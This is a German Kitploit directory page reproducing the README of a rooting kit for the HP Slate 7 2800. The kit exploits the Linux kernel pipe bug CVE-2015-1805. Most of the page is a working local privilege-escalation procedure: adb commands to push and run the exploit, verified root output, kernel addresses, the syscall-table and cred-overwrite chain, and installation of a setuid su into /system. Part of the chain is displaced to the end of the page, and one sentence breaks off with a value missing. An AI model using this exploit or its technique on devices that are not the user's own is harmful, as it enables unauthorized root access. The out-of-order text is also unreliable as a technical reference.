Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
hp-slate7-root-kit — Rooting-Kit für HP Slate 7 2800 mit Android 4.1.1 unter Verwendung von CVE-2015-1805. | Kitploit
Tools/GitHubGitHub/valentineus/hp-slate7-root-kit
Android-SicherheitPrivilege EscalationPersistenzmechanismenSchwachstellenanalyseExploitationPost-ExploitationMobile SicherheitPayload-EntwicklungBinary-Exploitation
GitHubvalentineus/hp-slate7-root-kit

hp-slate7-root-kit

Rooting-Kit für HP Slate 7 2800 mit Android 4.1.1 unter Verwendung von CVE-2015-1805.

17vor 23 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

Root für das HP Slate 7 2800 unter Android 4.1.1

English | Русский

Dieses Repository enthält ein vollständiges, eigenständiges Kit zur Erlangung dauerhafter Root-Zugriffsrechte auf dem HP Slate 7 2800 mit Firmware 1.05.18 und Kernel Linux 3.0.8+ durch Ausnutzung der lokalen Schwachstelle CVE-2015-1805. Das Kit wurde auf dem tatsächlichen Tablet ausgeführt, und das Ergebnis wurde aus einer frischen ADB-Sitzung sowie nach einem normalen Neustart verifiziert.

Dies ist kein universelles Android-Rooting-Tool. Der Exploit ist spezifisch für diese HP-Kernel-Konfiguration. Führen Sie ihn nicht auf einem anderen Modell, einer anderen Firmware oder einer anderen Kernel-Version aus.

Verifizierte Konfiguration

ParameterVerifizierter Wert
Hersteller und ModellHP Slate 7 2800
Android4.1.1, API 16, Build JRO03H
Produkt / Gerätt7h / pine
ProzessorRockchip RK3066, ARMv7
Build-Fingerprinthp/t7h/pine:4.1.1/JRO03H/v1.05.18_user:user/release-keys
Kernel3.0.8+ #13 SMP PREEMPT Tue Jul 28 15:24:30 CST 2015
ABI32-Bit-ARM-EABI5
SELinuxnicht in der Kernel-Konfiguration vorhanden (CONFIG_SECURITY ist deaktiviert)
/system-Partitionext4, standardmäßig schreibgeschützt eingehängt

Sie können das Gerät prüfen, ohne Änderungen vorzunehmen:

root@kitploit:~
adb devices -l
adb shell getprop ro.product.model
adb shell getprop ro.build.fingerprint
adb shell getprop ro.build.version.sdk
adb shell cat /proc/version

Alternativ verwenden Sie das folgende Skript. Es verweigert die Ausführung, wenn entweder der Fingerprint oder die Kernel-Version nicht übereinstimmt:

root@kitploit:~
./scripts/check-target.sh
./scripts/check-target.sh ADB_SERIAL

Repository-Inhalt

root@kitploit:~
.
├── bin/
│   ├── hp-slate7-cve-2015-1805-root  # verified exploit
│   ├── hp-slate7-install-root        # installs su into /system
│   └── hp-slate7-su                  # minimal setuid-root wrapper
├── src/
│   ├── exploit/                      # CVE source and device-specific changes
│   ├── installer/install-root.c      # installer source
│   └── su/rootsh.S                   # minimal su source
├── scripts/
│   ├── build.sh                      # rebuilds all three ELF files
│   ├── check-target.sh               # safe compatibility check
│   └── root-device.sh                # verifies, uploads, and runs the kit
├── SHA256SUMS                        # hashes of the verified bin/* files
├── NOTICE                            # attribution for the original PoC
└── LICENSE                           # GPL-3.0

Dateiformate und Zwecke

SHA-256-Prüfsummen der verifizierten Binaries:

root@kitploit:~
6bf8ea09efb9f409dfc7aa5efbc3108e5c1a19fc5b07ae913328ef4639a7644f  bin/hp-slate7-cve-2015-1805-root
4857c71efc846636afc5b50d7f3c971c6eb68d3760f652086f2a38c5dc50bc4a  bin/hp-slate7-install-root
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e  bin/hp-slate7-su

Überprüfung unter macOS:

root@kitploit:~
shasum -a 256 -c SHA256SUMS

Überprüfung unter Linux:

root@kitploit:~
sha256sum -c SHA256SUMS

Verwenden Sie auf dem Tablet die Dateien aus bin/: Es handelt sich um exakt die Bytes, die auf dem Gerät verifiziert wurden. Das Verzeichnis build/ ist für lokale Neubauten gedacht und wird nicht von Git verfolgt.

Verwendete Schwachstelle

CVE-2015-1805 ist ein Fehler in den pipe_read()- und pipe_write()-Implementierungen älterer Linux-Kernel. Wenn eine atomare Kopie fehlschlägt, fährt der Code fälschlicherweise mit dem Durchlaufen des iovec-Arrays fort und kann dabei einen Zeiger über dessen Grenzen hinaus verschieben. Dadurch kann ein lokaler Prozess ohne Privilegien Speicher beschädigen, den Kernel zum Absturz bringen oder seine Privilegien erweitern. Eine detaillierte Erklärung des Mechanismus wurde auf oss-security veröffentlicht. Die Korrekturen finden sich unter anderem in den Upstream-Linux-Commits 637b58c und f0d1bec.

Der 3.0.8+-Kernel des Tablets erwies sich als verwundbar. Vor der Änderung von Kernel-Speicher wurde dieselbe Race-Bedingung separat mit einer harmlosen Sonde getestet, deren beide Schreibziele sich im normalen Speicher des Testprozesses befanden. Sie meldete CVE-2015-1805: VULNERABLE, und das Tablet blieb über ADB erreichbar.

Kette zur Rechteausweitung

  1. Der Exploit erzeugt eine Race-Bedingung zwischen readv(), Änderungen am Speicher-Mapping und der Verarbeitung eines großen iovec-Arrays im verwundbaren Pipe-Code des Kernels.
  2. Die resultierende Schreib-Primitive ersetzt vorübergehend den ungenutzten Eintrag 222 in sys_call_table durch die Adresse eines kleinen ARM-Trampolins im Exploit-Prozess.
  3. Die Tabellenadresse wird über den High-Vektor bei 0xffff0008 berechnet. Auf dem verifizierten Gerät lautet die Instruktion 0xe59ff410, und ihr Literal zeigt auf vector_swi = 0xc04d0d40.
  4. vector_swi und sys_call_table wurden unabhängig aus dem offiziellen HP-Open-Source-Kernelarchiv 1.05.10 (Archiv-SHA-256: dd69f0468973714fd9ba22cdfea7e96f39f651ee51b9cb537728d9dcadbafda2) mit der Defconfig rk30_t7h_dvt_defconfig assembliert. Ihr Offset beträgt 0xc4. Die installierte Firmware besitzt weder OABI noch seccomp, daher lautet die endgültige Laufzeitadresse der Tabelle .

Die ursprüngliche Funktion current_thread_info() aus den alten Kernel-Headern war mit modernem Clang bei -O0 inkompatibel: Ein früher Prototyp las anstelle des sp-Registers ein nicht initialisiertes Wort und konnte den Kernel zum Absturz bringen. In diesem Repository wurde sie durch ein verifiziertes nacktes ARM-Trampolin ersetzt. Das frühe Binary ist nicht im Repository enthalten.

Erforderliche Software

Zur Verwendung der vorgefertigten Dateien aus bin/

  • einen Computer mit macOS oder Linux; Windows ist mit einem geeigneten ADB-USB-Treiber ebenfalls möglich, aber dieses Verfahren wurde unter macOS verifiziert;
  • adb aus den Android-SDK-Platform-Tools;
  • ein funktionierendes USB-Datenkabel;
  • aktiviertes USB-Debugging und der auf dem Tablet akzeptierte RSA-Schlüssel des Computers.

Sie benötigen weder das Android-NDK, Java, Python, fastboot, einen entsperrten Bootloader, eine Custom-Recovery, eine Rooting-APK noch Netzwerkzugriff. Der Exploit und die Nutzlast sind statisch gelinkt.

Zum Neuaufbau aus dem Quellcode

  • Zig 0.15.2; das Entpacken des portablen Archivs genügt, eine systemweite Paketinstallation ist nicht erforderlich;
  • Bash;
  • shasum oder sha256sum zur Überprüfung des Ergebnisses.

Das Android-NDK ist weiterhin nicht erforderlich: Zig stellt eine ARM-musl-Cross-Toolchain bereit.

Vorbereiten des Tablets

  1. Laden Sie das Tablet auf mindestens 50 %. Während des verifizierten Laufs war es zu etwa 80 % geladen.
  2. Starten Sie Android normal und entsperren Sie den Bildschirm.
  3. Aktivieren Sie Entwickleroptionen -> USB-Debugging.
  4. Schließen Sie das Kabel an und akzeptieren Sie die RSA-Abfrage zum USB-Debugging, falls Android sie anzeigt.
  5. Führen Sie Towelroot, KingRoot oder andere Rooting-Anwendungen nicht gleichzeitig aus.
  6. Schließen Sie unnötige Anwendungen. Der Exploit erzeugt viele Threads und nähert sich den Grenzen dieses alten Geräts.

Prüfen Sie die Verbindung:

root@kitploit:~
adb devices -l

Der Status muss device sein, nicht offline oder unauthorized.

Root erlangen: manuelles Vorgehen

Wechseln Sie in das Stammverzeichnis des Repositorys und prüfen Sie zuerst, ob das Gerät exakt übereinstimmt:

root@kitploit:~
./scripts/check-target.sh

Wenn mehrere Geräte verbunden sind, übergeben Sie die Seriennummer bei jedem Befehl mit adb -s SERIAL oder setzen Sie die Umgebungsvariable ANDROID_SERIAL.

Laden Sie die drei Dateien unter den Namen hoch, die sie gegenseitig erwarten:

root@kitploit:~
adb push bin/hp-slate7-cve-2015-1805-root /data/local/tmp/cve-2015-1805-root
adb push bin/hp-slate7-install-root /data/local/tmp/install-root
adb push bin/hp-slate7-su /data/local/tmp/rootsh-armv7

Setzen Sie die Berechtigungen und schreiben Sie die bereitgestellten Dateien auf den Speicher:

root@kitploit:~
adb shell 'chmod 755 /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync'

Führen Sie den Exploit einmal aus:

root@kitploit:~
adb shell '/data/local/tmp/cve-2015-1805-root; rc=$?; echo DEVICE_RC=$rc; exit $rc'

Verifizierte erfolgreiche Ausgabe:

root@kitploit:~
offset:c4
addr:c04d0d40
    [+] Done
restored syscall 222 to 0xc051900c
exploit rc=0 uid=0 gid=0
installer uid=0 gid=0
install-su ok
DEVICE_RC=0

Wenn das Gerät für einige Sekunden aus ADB verschwindet, führen Sie den Exploit nicht erneut aus. Warten Sie, bis es zurückkehrt:

root@kitploit:~
adb wait-for-device

Automatisiertes Verfahren

Das Skript prüft den Fingerprint und den Kernel, verifiziert die SHA-256-Hashes, lädt die Dateien hoch, fragt Sie nach der Eingabe von ROOT, führt den Exploit aus und überprüft uid=0:

root@kitploit:~
./scripts/root-device.sh

Für mehrere Geräte:

root@kitploit:~
./scripts/root-device.sh --serial ADB_SERIAL

Die Option --yes deaktiviert die interaktive Bestätigung und ist nur für bewusste automatisierte Verwendung gedacht:

root@kitploit:~
./scripts/root-device.sh --serial ADB_SERIAL --yes

Überprüfen des Ergebnisses

Überprüfen Sie Root aus einer frischen ADB-Shell, nicht aus der uid des Exploit-Prozesses:

root@kitploit:~
adb shell 'id; /system/xbin/su -c id; echo SU_RC=$?'
adb shell 'ls -l /system/xbin/su'
adb shell 'cat /proc/mounts' | grep ' /system '

Erwartete Ausgabe:

root@kitploit:~
uid=2000(shell) ...
uid=0(root) gid=0(root) ...
SU_RC=0
-rwsr-sr-x root root ... su
... /system ext4 ro,...

Entfernen Sie als Nächstes nur die temporären Bereitstellungsdateien. Das installierte /system/xbin/su wird nicht entfernt:

root@kitploit:~
adb shell '/system/xbin/su -c "rm -f /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync"'

Das Kit erstellt kein /data/local.prop und verändert keine Benutzerdaten.

Führen Sie einen normalen Neustart durch und überprüfen Sie anschließend den dauerhaften Root-Zugriff:

root@kitploit:~
adb reboot
adb wait-for-device
adb shell getprop sys.boot_completed
adb shell '/system/xbin/su -c id'

Das verifizierte Tablet lieferte nach dem Neustart folgendes Ergebnis:

root@kitploit:~
uid=0(root) gid=0(root) ...

Die installierte Datei wurde vom Tablet zurückgeholt und stimmte Byte für Byte mit bin/hp-slate7-su überein:

root@kitploit:~
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e

Verwenden von Root

Um einen einzelnen Befehl auszuführen:

root@kitploit:~
adb shell '/system/xbin/su -c id'
adb shell '/system/xbin/su -c "ls -la /data"'

hp-slate7-su ist ein bewusst minimaler Wrapper ohne Android-App, Bestätigungsabfragen, Daemon oder Berechtigungsprotokoll. Jeder lokale Prozess, der /system/xbin/su ausführen kann, kann potenziell Root erlangen. Verwenden Sie dieses veraltete Tablet nach dem Rooten nicht für sensible Daten und installieren Sie keine nicht vertrauenswürdigen APKs.

Neuaufbau aus dem Quellcode

Geben Sie den Pfad zum portablen Zig 0.15.2 an oder fügen Sie zig zu PATH hinzu:

root@kitploit:~
ZIG_BIN=/absolute/path/to/zig ./scripts/build.sh

Die Ausgabe wird nach build/ geschrieben:

root@kitploit:~
build/hp-slate7-cve-2015-1805-root
build/hp-slate7-install-root
build/hp-slate7-su

Prüfen Sie die Dateiformate:

root@kitploit:~
file build/hp-slate7-*

Alle drei Dateien müssen 32-Bit-ARM-EABI5-ELF-Dateien sein. Mit der verifizierten Zig-Version 0.15.2 werden der Installer und su Byte für Byte identisch zu den Dateien in bin/ neu gebaut. Der Exploit-Hash kann aufgrund absoluter Pfade in den DWARF- und Linker-Metadaten abweichen; sein kritisches Sechs-Instruktionen-Trampolin war im Verifikations-Build Byte für Byte identisch. Ein Neuaufbau ersetzt nicht die Prüfsummen der Dateien in bin/, die tatsächlich auf dem Tablet ausgeführt wurden.

Fehlerbehebung

unauthorized

Entsperren Sie den Bildschirm und akzeptieren Sie den RSA-Schlüssel für USB-Debugging. Wenn die Abfrage nicht erscheint, schließen Sie das Kabel erneut an und führen Sie adb devices -l nochmals aus.

offline oder das Gerät verschwindet

Warten Sie einige Sekunden und führen Sie adb wait-for-device aus. Wenn das Tablet ausgeschaltet ist, schalten Sie es normal mit dem Netzschalter ein. Führen Sie nicht gleichzeitig eine zweite Instanz des Exploits aus.

Der Exploit hat [+] Done nicht ausgegeben

Die CVE wird über eine Race-Bedingung ausgenutzt und kann theoretisch fehlschlagen. Starten Sie das Tablet neu, bevor Sie einen einzigen erneuten Versuch unternehmen. Führen Sie das Binary nicht in einer Schleife aus: Eine fehlgeschlagene Race-Bedingung kann den Kernel zum Absturz bringen.

su existiert, aber der Befehl endet mit Code 127

Überprüfen Sie den SHA-256-Hash der Datei. Ein früher Forschungs-Wrapper behandelte argv auf ARM falsch und beendete sich mit Code 127. Dieses Repository enthält die korrigierte 656-Byte-Version mit SHA-256 40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e.

Das HP-Logo bleibt auf dem Bildschirm, aber ADB ist bereits verfügbar

Prüfen Sie den tatsächlichen Zustand von Android:

root@kitploit:~
adb shell getprop sys.boot_completed
adb shell dumpsys window windows

sys.boot_completed=1 bedeutet, dass Android hochgefahren ist, auch wenn das physische Display noch ein altes Bild anzeigt.

Was getestet und was nicht verwendet wurde

Andere bekannte Ansätze wurden sicher ausgeschlossen oder erwiesen sich auf diesem Gerät als ungeeignet: CVE-2013-6282, CVE-2013-2094, CVE-2012-0056, CVE-2013-4787, Dirty COW und PingPongRoot. Towelroot/CVE-2014-3153 brachte diesen Kernel zum Absturz und darf nicht verwendet werden. CVE-2014-7951 ermöglichte es, über eine Pfad-Traversal-Schwachstelle bei der ADB-Wiederherstellung eine Datei zu schreiben, aber die HP-Firmware lud /data/local.prop nicht, daher verschaffte diese Methode kein Root.

Der Bootloader verwendet einen alten Rockchip-Loader und erschien nicht als Standard-fastboot-Gerät. Das Flashen einer Recovery oder das Entsperren des Bootloaders war für dieses Ergebnis nicht erforderlich.

Herkunft und Lizenz

Der Exploit-Code basiert auf mobilelinux/iovy_root_research, Commit f945796, das wiederum auf dosomder/iovyroot verweist. Zu den gerätespezifischen Änderungen gehören die Reduzierung der Thread-Anzahl, die Korrektur des Timeouts, die Verwendung eines nackten ARM-Trampolins, die frühzeitige Wiederherstellung der Syscall-Tabelle, die Validierung von cred und das Deaktivieren des nicht anwendbaren SELinux-Zweigs.

Die ursprünglichen Hinweise wurden beibehalten. Das Repository wird unter GPL-3.0 verteilt; siehe LICENSE und NOTICE.

Haftungsausschluss

Die Ausnutzung von Kernel-Speicher birgt immer das Risiko eines Neustarts des Geräts, einer Beschädigung des Systems oder von Datenverlust. Dieses Kit ist ausschließlich für ein HP Slate 7 2800 bestimmt, das Ihnen gehört und dessen Firmware exakt übereinstimmt. Sichern Sie alle wichtigen Daten und verwenden Sie es nicht auf Geräten, die anderen Personen gehören.


Die Sicherheitsforschung und die Dokumentation wurden mit Unterstützung von OpenAI Codex erstellt, basierend auf GPT-5.6 Sol mit Daybreak-Blue-Cybersicherheitszugang.


Repository-Standorte: kanonische Quelle · GitHub · schreibgeschützter Mirror

Tool herunterladen
DateiFormatGrößeZweck
bin/hp-slate7-cve-2015-1805-rootELF 32-Bit-ARM-EABI5, statisch, nicht gestrippt2.722.320 ByteNutzt die CVE aus, erlangt uid 0 und startet den Installer
bin/hp-slate7-install-rootELF 32-Bit-ARM-EABI5, statisch, gestrippt22.596 ByteHängt /system vorübergehend rw ein, installiert su und stellt ro wieder her
bin/hp-slate7-suELF 32-Bit-ARM-EABI5, statisch, gestrippt656 ByteRuft setresgid(0,0,0) und setresuid(0,0,0) auf und startet dann /system/bin/sh
0xc04d0e04
  • Das Trampolin besteht aus exakt sechs ARM-Instruktionen. Es ermittelt das aktuelle sp, richtet es an der Kernel-Stack-Größe von 8.192 Byte aus und schreibt -1 ausschließlich in thread_info.addr_limit an Offset 8. Es enthält keine externen Aufrufe, kein Prolog und keinen Compiler-Runtime-Code.
  • Unmittelbar nachdem der temporäre Syscall zurückkehrt, wird Eintrag 222 aus Eintrag 223 wiederhergestellt. Beide Einträge sind im HP-Quellcode sys_ni_syscall; der auf dem verifizierten Kernel wiederhergestellte Zeiger ist 0xc051900c.
  • Sobald addr_limit erweitert wurde, liest das Pipe-Kopieren das aktuelle task_struct, lokalisiert cred und validiert die Struktur anhand der aktuellen uid/gid-Werte, der Ausrichtung, des Referenzzählers und der Bedingung real_cred == cred. Erst nach diesen Prüfungen werden die uid/gid-Werte auf null gesetzt und die Capability-Masken mit Einsen gefüllt.
  • Der Prozess erlangt uid=0 und startet /data/local/tmp/install-root. Der Installer hängt /system rw ein, kopiert die Nutzlast nach /system/xbin/su, setzt die Eigentümerschaft root:root und den Modus 06755, ruft sync() auf und hängt /system wieder schreibgeschützt ein.